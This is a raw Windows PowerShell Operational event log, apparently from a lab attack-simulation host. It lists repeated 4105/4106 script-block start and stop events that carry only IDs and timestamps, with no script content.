Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034591
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034590
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034589
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034588
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034572
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034571
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034566
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034565
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034541
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034540
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
